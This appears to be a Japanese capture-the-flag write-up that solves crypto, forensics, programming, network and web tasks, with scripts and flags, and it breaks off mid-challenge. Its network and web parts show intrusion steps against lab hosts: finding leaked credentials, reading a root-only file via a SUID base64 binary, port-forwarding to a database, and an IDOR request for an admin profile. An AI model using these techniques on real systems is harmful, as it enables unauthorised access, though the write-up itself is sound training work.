全完。ただ、有料(有ポイント)のヒントを買うのに26ポイント使っていて3位。
Welcome
Welcome! (10 pts)
添付ファイルをダウンロードするとフラグが書かれている。
このCTFではサーバーで何かが動いているような問題にはVPNが必要。そのファイルもこの問題に添付されている。CTFdのファイル配布機能はその問題に関するファイル以外にも使えるんだなぁ。
flag{WelcomeToMODCyberContest!}
Crypto
Information of Certificate (10 pts)
Easy.crt
ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。
Windowsなら素直にダブルクリックで開けば書かれている。
E = user@QRK7rNJ3hShV.vlc-cybercontest.invalid
CN = QRK7rNJ3hShV.vlc-cybercontest.invalid
OU = Invalid
O = Invalid
L = Nowhere
S = Some-State
C = XX
flag{QRK7rNJ3hShV.vlc-cybercontest.invalid}
Missing IV (20 pts)
NoIV.bin
ファイルは、128bit AES の CBC モードで暗号化した機密ファイルですが、困ったことに IV (初期化ベクトル) を紛失してしまいました。このファイルからできる限りのデータを復元し、隠されているフラグを抽出してください。暗号鍵は 16 進数表記で
4285a7a182c286b5aa39609176d99c13
です。
CBCなら、IVが違っていても最初の1個のブロック以外は壊れないので困らない。
from Crypto.Cipher import AES
K = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")
cipher = AES.new(K, AES.MODE_CBC, bytes(16))
P = cipher.decrypt(open("NoIV.bin", "rb").read())
open("NoIV.dec", "wb").write(P)
$ python3 solve.py
ZIPファイルだったので解凍。content.xml にフラグが書かれていた。Officeか何かのファイルだったのかな。
flag{ESYQV0fPMxz4wMmU}
Short RSA Public Key (20 pts)
RSA-cipher.dat
ファイルは RSA 公開鍵pubkey.pem
で暗号化されています。公開鍵から秘密鍵を割り出し、暗号を解読してください。なお、パディングは PKCS#1 v1.5 です。
このツールはその辺の作業を全部やってくれる……がなぜか動かないな。しかたが無いのでPyCryptodomeで適当に。
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
key = RSA.import_key(open("pubkey.pem", "rb").read())
print(key.e, key.n)
# http://factordb.com/ で検索。
p = 1011146650909449935800449563521726151
q = 77614294907759846691928156982114516291863
d = pow(key.e, -1, (p-1)*(q-1))
privkey = RSA.construct((key.n, key.e, d))
print(PKCS1_v1_5.new(privkey).decrypt(open("RSA-cipher.dat", "rb").read(), "!"))
$ python3 solve.py
65537 78479434358679743508116090024686132395246871443799969871485501232049475609313
b'flag{X0Myx6IHI8}\n'
Cryptographically Insecure PRNG (30 pts)
PRNG.bin
ファイルは下記の式で表される線形合同法で生成された疑似乱数列で XOR をとって暗号化されています。なお、生成された 4 バイトの数を最下位ビットから近い順に 1 バイトずつ平文と XOR をとるものとします。例えば、Hello World
をx_0 = 4294967295 = 0xFFFFFFFF
の初期値で暗号化した場合、16 進ダンプでb7 9a 93 93 cb 21 57 6f a3 ec 65
となります。x_{n+1} = (233 x_n + 653) mod 4294967296
鍵(初期値=
x_0
)を推定し、PRNG.bin
に対応する平文からフラグを抽出してください。なお、平文は(内容に意味はありませんが) ASCII でエンコードされた英文であったことがわかっています。また、最初の単語は 4 文字以上です。
x_0
を全探索。
C = open("PRNG.bin", "rb").read()
#C = bytes.fromhex("b79a9393cb21576fae3c65")
#for x0 in range(0x100000000):
#for x0 in range(0x81000000, 0x100000000):
for x0 in range(0x9c7b1690, 0x100000000):
x = x0
P = b""
for i in range(0, len(C)-4, 4):
p = (int.from_bytes(C[i:i+4], "little")^x).to_bytes(len(C[i:i+4]), "little")
ok = True
for c in p:
if not 0x20<=c<0x7f:
ok = False
break
if not ok:
break
P += p
x = (233*x+653)%4294967296
if len(P)>=16:
print(hex(x0), P)
$ python3 solve.py
:
0x9c7b1690 b'AG[hnS)lsE4EcTl?'
0x9d413690 b'Against selection release between gray knowledge. To interest trot versus protective morning. Round death annoy on interesting bat. Inside finger zip of jolly skate. Opposite flavor exercise of husky quiet. Minus plate include despite whole development. Below society desert than kindhearted head. To shirt guarantee anti steadfast secretary. Beneath tree laugh like romantic expert. To sisters end below hallowed carriage. flag{QVFE5i5LkZdR} Inside hook point into depressed hate. Past act reply anti quarrelsome stove. Aboard badge memorize amid vagabond farm. On riddle request without offbeat pets. At mouth object above present ink. Near curve stroke in garrulous trouble. Anti country answer through swift talk. Over test escape into puzzling crook. Than stream waste near uneven ants. About fireman choke along defective base'
0x9d4c1ebc b'mOliZ#i*_^nl75}8'
flag{QVFE5i5LkZdR}
Forensics
NTFS Data Hide (10 pts)
NTFSDataHide
フォルダに保存されているSample.pptx
を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイルNTFS.vhd
を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。
FTK Imagerで開くと、消されたファイルがあり flag{resident_in_mft}
と書かれている。これを投稿しても不正解。「ヒントなのか?」と $MFT をダンプして眺めていたら、次の文字列が見えた。
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ==')
デコードすると flag{data_can_be_hidden_in_ads}
。
あれ、FTK Imagerって代替データストリームに対応していないのか。Autopsyのほうが良いのか……?
flag{data_can_be_hidden_in_ads}
NTFS File Delete (10 pts)
NTFSFileDelete
フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。問題「NTFS Data Hide」に引き続き、仮想ディスクファイル
NTFS.vhd
を解析して、削除されたflag.txt
に書かれていた内容を見つけ出してください。
flag{resident_in_mft}
はこっちの問題のフラグだった。
flag{resident_in_mft}
NTFS File Rename (20 pts)
NTFSFileRename
フォルダに保存されているRenamed.docx
は、以前は別のファイル名で保存されていました。問題「NTFS File Delete」に引き続き、仮想ディスクファイル
NTFS.vhd
を解析して、Renamed.docx
の元のファイル名を明らかにしてください。
MFTを眺めているときに ~$urnaling_system_is_powerful.docx
という文字列を見た。
flag{journaling_system_is_powerful}
HiddEN Variable (20 pts)
なぜかVolatilityが動かない。
$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.info.Info
Volatility 3 Framework 2.6.1
WARNING volatility3.framework.plugins: Automagic exception occurred: volatility3.framework.exceptions.InvalidAddressException: Offset outside of the buffer boundaries
Unsatisfied requirement plugins.Info.kernel.symbol_table_name:
A symbol table requirement was not fulfilled. Please verify that:
The associated translation layer requirement was fulfilled
You have the correct symbol file for the requirement
The symbol file is under the correct directory or zip file
The symbol file is named appropriately or contains the correct banner
Unable to validate the plugin requirements: ['plugins.Info.kernel.symbol_table_name']
バイナリエディタで眺めていると、 FLAG=BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
という文字列が見える。しかし、これを投稿しても不正解。
$ rm -rf ~/.cache/volatility3/*
したらVolatilityが動くようになった。
$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.envars
:
2816 sihost.exe 0x1747e0e2010 DriverData C:\Windows\System32\Drivers\DriverData
2816 sihost.exe 0x1747e0e2010 FLAG BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
2816 sihost.exe 0x1747e0e2010 HOMEDRIVE C:
:
これは環境変数だったらしい。問題名の大文字を読むとENVだし、Variableは環境変数のことだよなぁ……。Base64で復号しても意味不明な文字列にしかならない……。で、Base58だった。どうして……。
flag{volatile_environment_variable}
My Secret (30 pts)
問題「HiddEN Variable」に引き続き、メモリダンプファイル
memdump.raw
を解析して、秘密(Secret)を明らかにしてください。
$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.pstree.PsTree
:
1396 conhost.exe \??\C:\WINDOWS\system32\conhost.exe 0x4
5516 7z.exe 7z x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\
6940 winpmem_mini_x winpmem_mini_x64_rc2.exe memdump.raw
$ python3 ../../../git/volatility3/vol.py -f memdump.raw windows.dumpfiles --pid=5516
Volatility 3 Framework 2.6.1
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0xe206bbc4a2f0 Secrets.7z Error dumping file
SharedCacheMap 0xe206bbc4a2f0 Secrets.7z file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
ImageSectionObject 0xe206bbc491c0 7z.dll file.0xe206bbc491c0.0xe206bb46d770.ImageSectionObject.7z.dll.img
ImageSectionObject 0xe206bba6c490 7z.exe file.0xe206bba6c490.0xe206b8b49730.ImageSectionObject.7z.exe.img
:
file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb を Y0uCanF1ndTh1sPa$$w0rd
で復号。
flag{you_cannot_find_this_secret!}
Miscellaneous
Une Maison (10 pts)
画像
maison.jpg
の中にフラグが隠されています。探してみてください。
問題の画像を検索すると同じ画像が出てくるから、画像の内容は関係無いのかな……と思ったけど、一部がバーコードに書き換えられていた。
flag{$50M!}
String Obfuscation (10 pts)
import sys
if len(sys.argv) < 2:
exit()
KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
if sys.argv[1] == KEY:
print("flag{%s}" % FLAG)
こう書き換えて実行。
import sys
KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
print(KEY, FLAG)
$ python3 string_obfuscation2.py
golden 3FxYFm4uTYDFFzmb3
flag{3FxYFm4uTYDFFzmb3}
Where Is the Legit Flag? (20 pts)
難読化した文字列を exec
で実行している。そこを print
に書き換えたりして解析。作ったけれど使っていない文字列があったので、そのコードを実行。
$ python3
Python 3.10.6 (main, May 29 2023, 11:10:38) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from fakeflag import *
flog{8vje9wunbp984}
>>> "".join(SATO[i] for i in SUZUKI)
'flag{PHmN2ILK6vsa}'
flag{PHmN2ILK6vsa}
Utter Darkness (20 pts)
Photoshopで開いたら普通にフラグが書かれていた。
flag{YjM5MDUyYzAxMj}
Serial Port Signal (30 pts)
Tx.csv
は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。
と言われてもなぁ……でヒントを購入。
シリアル通信の方式は UART です。
なるほど。信号がHighからLowになったら、1ビット分飛ばし、そこから7ビット読んで、パリティの1ビット分捨てることを繰り返せば良いらしい。
昔FPGAを触ったときに使ったけど、こんなにシンプルなプロトコルだったのか。
0や1の連続は最小でだいたい5個なので、5個で1ビット分だろう。
d = open("Tx.csv").read()
D = []
for l in d.split("\n")[1:-1]:
D += [int(l[-1])]
D = D[1100:]
p = 0
def read():
global p
d = D[p]
p += 1
return d
ans = ""
while True:
while read()==1:
pass
for _ in range(4):
read()
x = 0
for i in range(8):
if sum(read() for _ in range(5))>2:
x |= 1<<i
ans += chr(x&0x7f)
while read()==0:
pass
print(ans)
$ python3 decode.py
H
He
Hel
:
Hello UART: synt{IjUZC5T
Hello UART: synt{IjUZC5TD
Hello UART: synt{IjUZC5TD}
:
Hello UART: synt{IjUZC5TD}
Traceback (most recent call last):
File "/mnt/d/documents/ctf/modctf2024/Serial Port Signal/decode.py", line 21, in <module>
if sum(read() for _ in range(5))>2:
File "/mnt/d/documents/ctf/modctf2024/Serial Port Signal/decode.py", line 21, in <genexpr>
if sum(read() for _ in range(5))>2:
File "/mnt/d/documents/ctf/modctf2024/Serial Port Signal/decode.py", line 9, in read
d = D[p]
IndexError: list index out of range
良い感じだが、肝心のところが文字化けしている。この方式で同期がずれるとも思えないけど……で適当にずらしてみても変わらず。
synt{IjUZC5TD}
をROT13で変換したらフラグになった。この1ステップ要らないでしょ……。
flag{VwHMP5GQ}
Network
Discovery (10 pts)
あなたはクライアントに依頼されて リリース予定の Web サーバー「10.10.10.21」に問題がないか確認することになりました。
対象サーバーにインストールされている CMS のバージョンを特定し、解答してください。
指定のIPアドレスにアクセスすると http://schatzsuche.ctf/ に飛ばされる。hostsに
10.10.10.21 schatzsuche.ctf
を追加。
でも「工事中」のページがあるだけ。
┌──(kali㉿kali)-[~]
└─$ dirb http://schatzsuche.ctf/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Feb 24 22:23:34 2024
URL_BASE: http://schatzsuche.ctf/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://schatzsuche.ctf/ ----
+ http://schatzsuche.ctf/cmsadmin (CODE:301|SIZE:162)
==> DIRECTORY: http://schatzsuche.ctf/ftp/
+ http://schatzsuche.ctf/index.html (CODE:200|SIZE:428)
+ http://schatzsuche.ctf/robots.txt (CODE:200|SIZE:4700)
---- Entering directory: http://schatzsuche.ctf/ftp/ ----
-----------------
END_TIME: Sat Feb 24 22:25:05 2024
DOWNLOADED: 9224 - FOUND: 3
http://schatzsuche.ctf/ftp/credentials.txt
[WebEdition account]
webeditor
verystrongpass2024
http://schatzsuche.ctf/cmsadmin を開いてこのIDとパスワードでログインし、システム情報を見た。
flag{9.2.2.0, Revision: 14877}
Exploit (20 pts)
クライアントに管理情報が露見していることを報告しました。 問題「Discovery」に引き続き、対象サーバー「10.10.10.21」にインストールされている CMS の脆弱性を調査し、機密情報(フラグ)を入手してください。
本問題の解答には、「Discovery」で発見した CMS を使用します。 なお、対象のCMSのコンテンツは約5分に1回の頻度でリセットされます。
sample.php が置かれていて、ここにPHPスクリプトが書けるっぽい? 書き換えようにも他の参加者も書き換えてきて邪魔……。いや、このまま待っていれば、その人がフラグを出力してくれるか……とおこぼれをもらった。
後から知ったけど、ファイルを書き換えても <?php
は消される。ファイルそのものではなく、descriptionにPHPスクリプトを書くと実行されるらしい。
flag{G3t_R3v3rs3_Sh3ll}
Pivot (30 pts)
問題「Exploit」より、クライアントに CMS に脆弱性が確認されたことを報告しました。 クライアントは、対象サーバーはコンテナ化しているので安全だと思っていたと驚いていました。
クライアントから追加の依頼があり、保守用の SSH アカウント情報が漏洩した場合の影響を調査することになりました。ポートスキャンやファイル探索などを駆使し、対象サーバー「10.10.10.21」から機密情報(フラグ)を入手してください。
解答方式:flag{***************}
【ログイン情報】
- User:
george
- Password:
Mercedes63
secrets.txt というファイルがあるけど、rootしか読めない。Docker escapeなようなそうでもないような……。分からん。
ヒントを購入。
SSHサーバー内に機密情報のヒントがあるようです。
不審なテキストファイルがないか探してみましょう。
あるけど読めないんだって……。
SSHサーバー内で列挙に使えるコマンドがないか、調べてみましょう。
ls
とか find
とか……?
SSH サーバーで実行できるコマンドは少ないですが、ポートフォワーディングを利用すればうまくいくはずです。
謎。
ヒントが役に立たない。サーバーの中を漁っていたら、 base64
にSUIDビットが立っていた。
$ base64 secrets.txt
W01hcmlhREIgQWNjZXNzIEluZm9ybWF0aW9uXQpkYl91c2VyCkg0UmliMF85MGxkQjRSRU4K
$ echo 'W01hcmlhREIgQWNjZXNzIEluZm9ybWF0aW9uXQpkYl91c2VyCkg0UmliMF85MGxkQjRSRU4K' | base64
-d
[MariaDB Access Information]
db_user
H4Rib0_90ldB4REN
ここで3個目のヒントを使うのか。
192.168.32.2 でMariaDBが動いていたのでポート転送。
$ mysql --host 192.168.0.9 --user=db_user --password
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
:
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| flag5 |
| information_schema |
+--------------------+
2 rows in set (0.009 sec)
MariaDB [(none)]> use flag5;
MariaDB [flag5]> show tables;
+-----------------+
| Tables_in_flag5 |
+-----------------+
| flag |
+-----------------+
1 row in set (0.010 sec)
MariaDB [flag5]> select * from flag;
+----+------------------------+
| id | flag |
+----+------------------------+
| 1 | flag{p!V071ng_M31s73r} |
+----+------------------------+
1 row in set (0.010 sec)
MariaDB [flag5]>
flag{p!V071ng_M31s73r}
FileExtract (10 pts)
添付の
FileExtract.pcapng
ファイルからフラグを見つけ出し、解答してください。
FTPで s3cr3t.zip をやりとりしている。FTPのパスワードがZIPのパスワードでもあった。
flag{6qhFJSHAP4A4}
DO_tHe_best (20 pts)
タイトルからして、DNS over HTTPSでしょう。わざわざ自己証明書でHTTPSにしているのもそれっぽい。証明書は *.example.com
。
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=example.com&type=ANY' | jq
{
"Status": 0,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [
{
"name": "example.com.",
"type": 255
}
],
"Answer": [
{
"name": "example.com.",
"type": 6,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
"data": "ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"
},
{
"name": "example.com.",
"type": 15,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
"data": "1 ns.example.com."
},
{
"name": "example.com.",
"type": 2,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
"data": "ns.example.com."
}
],
"Additional": [
{
"name": "ns.example.com.",
"type": 1,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:29:42 UTC",
"data": "10.10.10.20"
}
]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=ns.example.com&type=ANY' | jq
{
"Status": 0,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [
{
"name": "ns.example.com.",
"type": 255
}
],
"Answer": [
{
"name": "ns.example.com.",
"type": 1,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:30:07 UTC",
"data": "10.10.10.20"
}
]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=hostmaster.example.com&type=ANY'
| jq
{
"Status": 3,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [
{
"name": "hostmaster.example.com.",
"type": 255
}
],
"Authority": [
{
"name": "example.com.",
"type": 6,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:30:12 UTC",
"data": "ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"
}
]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa.&type=ANY' | jq
{
"Status": 0,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [
{
"name": "20.10.10.10.in-addr.arpa.",
"type": 255
}
],
"Answer": [
{
"name": "20.10.10.10.in-addr.arpa.",
"type": 12,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:31:53 UTC",
"data": "DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com."
}
]
}
$ curl -sS --insecure 'https://10.10.10.20/dns-query?name=DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com&type=ANY' | jq
{
"Status": 0,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [
{
"name": "DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com.",
"type": 255
}
],
"Answer": [
{
"name": "DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com.",
"type": 1,
"TTL": 86400,
"Expires": "Mon, 26 Feb 2024 14:32:21 UTC",
"data": "10.10.10.20"
}
]
}
分からん。 DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu
が怪しいけれど、これはフラグではないし、Baseなんとかを試してもそれっぽい文字列は出てこない。
この時点で唯一解いているst98さんは、この問題のヒントは買わずに解いている。解けなくてヒントを買って解けなかった人は多いだろう。と思うと買う意味無さそうなんだよな……。しかし、この問題が最後に残って、1個下の順位の人とは点差があり、1個上の人との点差が僅かだった。順位を上げられる期待値は高い……と購入。
オープンポートに対する通信の応答ヘッダを注意深く観察してください。
ヘッダに使っているDoHのソフトの名前が出力されていた。DoHということはもう知ってる。
ターゲットシステムではRFC 8484 ならびにGoogle方式の双方をサポートしています。
役に立たない……。
答え。
$ curl --insecure 'https://10.10.10.20/' -H 'Host: DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com'
<!DOCTYPE html>
<html>
<head>
<title>DO tHe best</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>flag{8NZfrhDH-ZGe}</h1>
</body>
</html>
https://DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com でアクセスすればフラグが表示されると。
flag{8NZfrhDH-ZGe}
Programming
Logistic Map (10 pts)
下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。
x_{n+1} = 3.99 x_n (1 - x_n)
x = 0.3
for _ in range(9999):
x = 3.99*x*(1-x)
print(f"{x:.7f}")
$ python3 solve.py
0.8112735
flag{0.8112735}
Randomness Extraction (20 pts)
ファイル
random.dat
は一様でない乱数生成器の出力ですが、一部にフラグが埋め込まれています。フォン・ノイマンランダムネスエクストラクターを適用してフラグを抽出してください。
Randomness extractorというのは、ダメな乱数から良い乱数を抽出する手法らしい。へー。
Von Neumann extractorは、入力を2ビットずつペアにして、ビットの値が同じなら捨て、異なっていれば1ビット目を出力すれば良いらしい。
バイト列をビット列に直すのにエンディアンなどがあるので、適当に試す。
d = open("random.dat", "rb").read()
D = []
for t in d:
for b in range(8)[::-1]:
D += [t>>b&1]
P = []
for i in range(0, len(D), 2):
if D[i]!=D[i+1]:
P += [D[i]]
assert(len(P)%8==0)
p = b""
for i in range(0, len(P), 8):
t = 0
for j in range(8):
t |= P[i+j]<<(7-j)
p += bytes([t])
open("extracted.dat", "wb").write(p)
$ python3 solve.py
質の良い乱数が出力されているようにしか見えない……と思ったけど、ファイルの真ん中あたりにフラグがあった。
flag{3TcPs8QFcX}
XML Confectioner (20 pts)
添付の
sweets.xml
には、多数のsweets:batch
要素が含まれています。これらの中から、下記の条件すべてを満たすものを探してください。
- 少なくとも二つの子要素
sweets:icecream
が含まれる- 子要素
sweets:icecream
にはicecream:amount
属性の値が105g
を下回るものがない- 子要素
sweets:candy
のcandy:weight
属性の値の合計が28.0g
以上である- 子要素
sweets:candy
のcandy:shape
属性が 5 種類以上含まれるcookie:kind
属性がicing
でありかつcookie:radius
属性が3.0cm
以上の子要素sweets:cookie
を少なくとも一つ含むフラグは、条件を満たす
sweets:batch
要素内において、最もcookie:radius
属性が大きなsweets:cookie
要素の内容に書かれています。
XPath? XQuery? なんかそういうので解く問題っぽいが……分からん。
こういうのはChatGPTが得意でしょ。→ クエリを書かせても、スクリプトを書かせても動かない。
ChatGPT 4ならきっと……。でも、20ドルか……。いや、しょうがない。課金(誤用)。
ChatGPT「了解しました。添付された sweets.xml ファイルを解析して、指定された条件を満たす sweets:batch 要素を見つけ、その中で最大の cookie:radius 属性を持つ sweets:cookie 要素の内容にあるフラグを特定します。まず、sweets.xml ファイルをアップロードしてください。それに基づいて解析を行います。」
頼もしい。アップロードするのでよろしくお願いします。
ChatGPT「解析した結果、提供された sweets.xml ファイルには、指定された条件を満たす sweets:batch 要素が存在しないようです。したがって、フラグを特定することはできませんでした。条件に誤りがあるか、もしくはファイルが想定通りの内容を含んでいない可能性があります。」
お金を返してほしい。
色々試していたら、
ChatGPT「このクエリは、指定された名前空間と条件を考慮に入れていますが、XPath 1.0 では sum() 関数や distinct-values() 関数は使用できません。XPath 2.0 以降ではこれらの関数が利用可能です。また、属性値の比較については、数値比較として正しく解釈されるよう、適宜型変換が必要になる場合があります。」
とか言ってきた。 xpath
で試していたけど、2.0に対応していなかったりするのかな。
sweets:icecream
が2個以上で、 sweets:candy
も5種類以上だから5個以上でしょ、はこれでフィルタできた。
$ xpath -e '//sweets:batch[count(sweets:icecream) >= 2 and count(sweets:candy) >= 5]' sweets.xml > filtered.xml
あとは手作業で頑張った。なぜ人間様がこんな作業を……。
flag{sZ8d5FbntXbL9uwP}
Twisted Text (30 pts)
添付の画像
Twisted.png
は、画像の中心からの距離 r [pixel] に対してθ = - (r ^ 2) / (250 ^ 2) [rad]
だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。
Twisted.png。
from PIL import Image
import math
im0 = Image .open("Twisted.png")
im1 = Image.new("RGB", (1280, 1280))
for y in range(1280):
for x in range(1280):
r = ((y-640)**2+(x-640)**2)/250.**2
x2 = int((x-640)*math.cos(r)-(y-640)*math.sin(r)+640)
y2 = int((x-640)*math.sin(r)+(y-640)*math.cos(r)+640)
if 0<=x2<1280 and 0<=y2<1280:
im1.putpixel((x, y), im0.getpixel((x2, y2)))
im1.save("fixed.png")
$ python3 solve.py
fixed.png。
flag{LHZGhq3WTXvo}
Trivia
The Original Name of AES (10 pts)
課金したのでChatGPTを使おう。
あなた
Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?ChatGPT
Advanced Encryption Standard (AES) の採用前、この暗号アルゴリズムは "Rijndael"(ラインダール)という名前で知られていました。ベルギーの暗号学者であるヴィンセント・ライメン(Vincent Rijmen)とジョーン・ダエメン(Joan Daemen)が開発しました。AESは、米国国立標準技術研究所(NIST)による公募プロセスを経て、2000年に既存のDES(Data Encryption Standard)を置き換える新しい標準暗号として選ばれました。Rijndaelアルゴリズムは、その柔軟性とセキュリティの高さから選ばれました。
flag{Rijndael}
CVE Record of Lowest Number (10 pts)
あなた
最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?ChatGPT
解析中にエラーが発生しました
現在の環境ではインターネットにアクセスできないため、直接CVEデータベースに問い合わせて最も番号が若いCVEレコードを取得することはできません。しかし、通常、CVE番号は発行年と連続する番号で構成されているため、最も若いCVE番号はおそらく1999年に最初に導入されたときのものでしょう。CVEの初期のレコードについての情報は、CVEデータベースの公式ウェブサイトや他のセキュリティ関連のデータベースで検索できます。最も若い番号のCVEレコードに関連する脆弱性が指摘された行を含むソースファイル名を知りたい場合は、そのCVE番号(例: CVE-1999-0001)を使ってこれらのデータベースで検索することをお勧めします。
使えん……。まあ、そうか、連番だから0001か。
CVE-1999-0001
ip_input.c in BSD-derived TCP/IP implementations allows remote attackers to
cause a denial of service (crash or hang) via crafted packets.
flag{ip_input.c}
MFA Factors (10 pts)
あなた
多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。解答形式:flag{○○・○○・○○} (それぞれ漢字2文字)
ChatGPT
多要素認証に使用される本人確認のための3種類の情報は「知識・所持・生体」となります。これらは一般的に、ユーザーが知っているもの(パスワードやPIN)、ユーザーが持っているもの(IDカードや携帯電話)、ユーザー自身の生体認証情報(指紋や虹彩スキャン)を指します。解答形式に従って、これらを50音の辞書順に並べ、「・」で区切ると以下のようになります。
解答形式: flag{所持・生体・知識}
flag{所持・生体・知識}
Web
Browsers Have Local Storage (10 pts)
http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。
ローカルストレージ。
FLAG{Th1s_1s_The_fIrst_flag}
Are You Introspective? (10 pts)
http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。
全然見つからない。
ヒント購入。
GraphQL の endpoint がどんな path で表現されるか、注意深く調べましょう。 version 管理されている可能性も考慮してください。
http://10.10.10.31/graphql/v1/ だった。こんなん分からんて。
てっきりAPIがあるだけかと思ったら、GUIで結果を見ながら操作できるようになっており、適当に触っていたら、補完で出てきた。
FLAG{Is_this_your_first_time_using_GraphQL}
Insecure (20 pts)
あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。
【ログイン情報】
User:
testUser
Password:diejuthdkfi14
$ curl -v 'http://10.10.10.33/show_profile.php?id=0' -H 'Cookie: PHPSESSID=b83451ad3b602c3ec7c739927e7dc7c5'
:
< HTTP/1.1 302 Found
:
< Location: profile_error.php
:
$ curl 'http://10.10.10.33/profile_success.php' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H 'Accept-Language: ja,en-US;q=0.9,en;q=0.8' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=b83451ad3b602c3ec7c739927e7dc7c5' -H 'Pragma: no-cache' -H 'Referer: http://10.10.10.33/dashboard.php' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36' --compressed --insecure
<!DOCTYPE html>
:
<p><strong>名前:</strong> 西川 夏鈴</p>
<p><strong>メールアドレス:</strong> karinnishikawa@zwoqaanb.hfh</p>
:
<p><strong>自己紹介:</strong> FLAG{1qaz7ujmbgt5}</p>
show_profile.php?id=1 だと profile_success.php に飛ぶが、 show_profile.php?id=0 は profile_error.php に飛ばされるので、ブラウザで普通に開くだけではダメ。
FLAG{1qaz7ujmbgt5}
Variation (20 pts)
http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。
"
や &
